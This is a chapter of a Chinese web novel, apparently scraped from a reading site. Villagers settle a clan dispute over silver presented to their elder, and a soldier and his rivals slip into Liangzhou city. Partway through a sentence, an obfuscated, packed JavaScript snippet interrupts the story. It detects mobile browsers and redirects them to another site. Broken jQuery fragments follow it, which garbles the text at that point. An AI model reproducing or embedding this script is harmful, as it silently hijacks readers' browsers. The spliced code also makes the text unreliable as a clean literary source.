154. 不然,阿娘不就白死了?

作品:《小厨娘不想攻略大佬

    几名婆子穿过院子,走入东屋,在她们身后跟着的有抱着四郎的白氏,有牵着三娘的二郎。老村长浑浊的眼一一扫过婆子捧在身前的东西。


    在场安静异常,绢布算不上名贵,但对于童家村的村民来说,是他们买不起的布匹,那百两白银,圆润饱满,也是他们从未见过的模样。


    但村民都没有动作,包括童春花,倒是跪在地上的村长小儿子,想要起身,却被人一脚踹着跪下,他瞪眼望去,却见是同族的一个青年,那人朝他呸了一声。


    看着对方高大的身躯,只得闭了嘴。


    同样震惊的还有老村长,瞧见婆子捧着的东西,他忍不住想凑上前看一看。奈何身体虚弱,之前那一碗粟米汤虽入腹,只是缓解。


    童白道:“这些都是我代我爹送给族里的,他现在在外征战,无法回来,便由我们送来,还请族长笑纳。”


    她这话一说,婆子们将手上的东西全部摆放在了桌子上。在场童家村的人,视线也随之移过去,老村长是最早回神的,他颤声问:“童寄家的小娘子,这些东西,真的是给我们的?”很奇怪的是,他没有询问白氏,童寄之妻,而是脸嫩的小娘子。


    “是,这也不是给,是进献给族长,作为族内的一份子。”童白说的更坦白,“我爹,童寄,我们单为一家。”就差没明说,跟童万山那一家子撇清关系,自立一户。


    “这怎么行,你个女娃娃什么都不懂,”人群外突然传来一道尖利的声音,童成氏领着三个儿子挤了进来,一进来就直奔木桌,抓起银锭子就往怀里放,“这都是我们家的东西,你没经过长辈的同意,如何能随便就乱说乱送。”她们在外面偷听了一会儿了。


    童白瞧过去,嘴角掀起一抹笑容,很快又压下去,她诧异道:“我童家的事,你又如何能做主?”


    “你爹都是我生的,我如何不能做你的主。”老妪说话的同时,将银锭子往怀里塞。


    童春花着急地看向老村长,心里暗自决断哪怕老村长不同意,她也要去抢,就见不得童万山一家子好。


    “童成氏,放下,这是童寄进献给族里的,岂是你童万山家能拿的。”这话一出,就像是一个开关一样,童春花率先扑向童成氏,从她手里夺下和掏出那属于族里的银子。


    童成氏奋力反抗,骂道:“好你个童春花,他童大山是我的儿子,是我身上掉下去的一块肉,他的命,他的银子都是老娘的,你个***。”


    然而她嘴里骂的凶,却不是童春花的对手,将银子夺了回来,童成氏被童春花坐在身上扇巴掌,“你个丧天良的成氏,卖了儿子得了银子,现在还要抢族人进献给族里的银子,老娘今日让你知道为何花儿这般红!”随着骂声响起的还有巴掌声。


    其他童家村的人趁着这会儿功夫,把绢布和银锭子都往老村长的床上放,这下好了,老村长也不用下床去看了,全部摆在了他的床上。


    “好了好了,拉出去打就是,”老村长被这闹的头疼,老揉了揉发胀的额头,虚弱却坚定地对童白一行人说:“你们在村里住一晚,等明日我好些了,咱们开祠堂。”


    这是答应了童白的所求之事。


    童白跟白氏对视一眼,笑着应下。


    “这件事怕是不合族规吧,”童万山站在人群边缘,出声道:“族长难道为了银子,要强抢我童万山家的子嗣?别说童家村,就说这方圆五百里,也没有这种强抢别人家子嗣为族人的做法。”


    “那是你短视,可真不是没有。”童白出言解释:“长安世家之中,子嗣出息后自立门户、族里接纳的例子不在少数,族长与族老们见多识广,自然知晓其中规矩。”


    “你一个女娘子在此胡咧咧什么?!”童万山恼羞成怒。


    “女娘子又如何,难道你不是从女的肚子里出来的?”坦白斜视童万山一眼,“再说了,我说话关你屁事,你这老汉未免管太宽。”


    “童万山,当初你卖你家大山的时候怎么说的?让族里别管你童万山家的事,现在,族里要新收族人,也不关你童万山的事,快点带着你的妻儿离开这里。”村里族老出言呵斥,直接点明童万山一家子不做人的事。


    “童万山你别在这里丢人现眼了。”年纪稍大的村民在一旁附和,他们都知道二十面前发生的事。当初村长也就是族长和族老们都劝过童万山两口子,做事不要做这么绝,他们一家以自家事无需族里操心为由,拒绝了。


    现如今这童万山一家见卖出去的童大山有了出息,就想抢童大山的东西,简直是无赖到了极致。


    童白:“这童家得来的赏赐,都是我阿爹从战场上拼命得来,也是我去贵人家做一场场宴席得来的,你是能做饭还是能杀敌?真是笑话!”


    此言一出,在场的老人对年轻的使了个颜色,一群年轻的村民推搡着童家人,拉扯着将他们关在了院门外。


    是了是了,这童家的小娘子可不一般,一手厨艺可是得了贵人眼的。


    在双梧巷里,撒泼打诨,十分嚣张的老妪和童家人,在这满是童家人的童家村,算不得什么,讲辈分,有比他辈分高的,讲族规,也有族长和族老在。


    “阿爹,这事,就这样了吗?”童大海恨恨道。


    童万山眼中闪过一丝狠厉,“你们几个,现在就去长安城,找到那人,将这边的消息传过去。”


    “这有用吗?”童成氏抹了抹嘴角的血渍,问。


    “就算明日开了祠堂又如何,老村长身体虚弱,没法去官府立下契书,他童大山一日就是我的儿子,这个时候,只要……”童大山身死,这绝户他们家吃定了。


    几人嘀咕完,童大田陪两个老的回了村西,童大海和童大江出了村往长安城而去。


    于此同时远在凉州的童寄,正在排队等着进凉州城。


    秦王得了崔十九送来的新式军粮便下令让童寄所在的小队潜入凉州城,找到凉州军的粮仓并烧毁。


    童寄取下帽子扇着风,额上全是汗珠,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313911|178855||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “胡大哥,咱们这趟进城,可得去买些良菜种回村。”身着麻衣,脚踏草鞋,挽起的裤腿上还见星星点点的泥印子。


    他一旁的敦实汉子抬起胳膊擦了擦额角,“要去买,不管什么菜,种一些,也能饱腹。”


    “嘿嘿嘿,这个冬日胡大哥没少在家播种吧。”另一个相对年轻点的汉子朝他们挤眉弄眼的,就差没明说此播种非彼播种。


    被打趣的胡大哥点头,“那是,你这个小子冬日倒是想要播种却播不成吧。跑来打趣老子来了。”


    这一下子,周围闷声笑的人可不少,就连不是他们一起的其他排队人也打趣:“是了是了,瞧瞧这小哥羡慕的样儿,今年赶紧去说亲吧。”


    这一下,大家笑得更大声了,他们这边动静惹来城门处的守城兵的目光,瞧见是一群农家汉子在说话,其中还有那常进出的人,便也没多在意,队伍继续前行。


    远远坠在人群后段的崔衔坐在马车厢里,正闭目沉思,他已经将军粮献给了秦王殿下,照理说这会儿他要么在兵营里等着秦王殿下下一步的安排,但他不愿等待,过去的十几年,他一直在隐忍,在等,他早已厌倦。


    所以他跟秦王表忠心,希望在这里的时间能为秦王殿下效力,而不是在营帐里干等着。既然都要抱大腿,那就抱彻底点。


    秦王同意了他的提议,于是他便化作崔姓世家子弟,以游学为名进入凉州城。


    凉州城内。


    百姓安居乐业,不似长安城那边各坊市有着厚厚的城墙,但整个凉州城的城墙却有三人高的厚度,二十人的高度,若是从城外强攻进城,怕是需要不少兵力和时间。


    崔衔坐在车厢里,等待进城的空隙边打量着情况,他们一口的长安口音也引起了守城兵士的注意。


    “长安城来的?”兵士拿着路引仔细打量马车,马车就是最普通的单匹马拉的小马车,马车之上没有家徽和族徽,十分普通,“崔家的?”


    崔衔掀开车帘,“是,但只是崔家的旁支庶子。”


    那兵士算是明白了,不得宠的那一挂,所以看着这么寒酸。就在他打量的时间里,赶车的车夫不着痕迹地往他手里塞了点东西。那兵士合上手掌,抬起下巴,手一挥,“好了,进去吧。”


    马车向城内驶去。


    完全没有留意身后排队的人群里有人望向马车的目光中藏着打量、疑惑和疯狂。


    等着排队的人都进到城中,几名隐在队伍里的人也都在城中角落的一个小茶馆门口汇合,其中一名面相憨厚的小伙小声问:“老大,咱们现在去哪儿?是去找那谁晦气还是?”


    “先办正事。”贺文贤抬手阻止了小伙接下来的话语,现在不急,等城内闹起来后,他再来收割童寄的命也不迟,“军功最重要,咱们哥几个的锦绣前程全在这一局了。”他与童寄以及童家之间的杀母之仇要报,身边的人心他也要抓住。


    毕竟,建功立业才是他的终极目标,不然,阿娘不就白死了?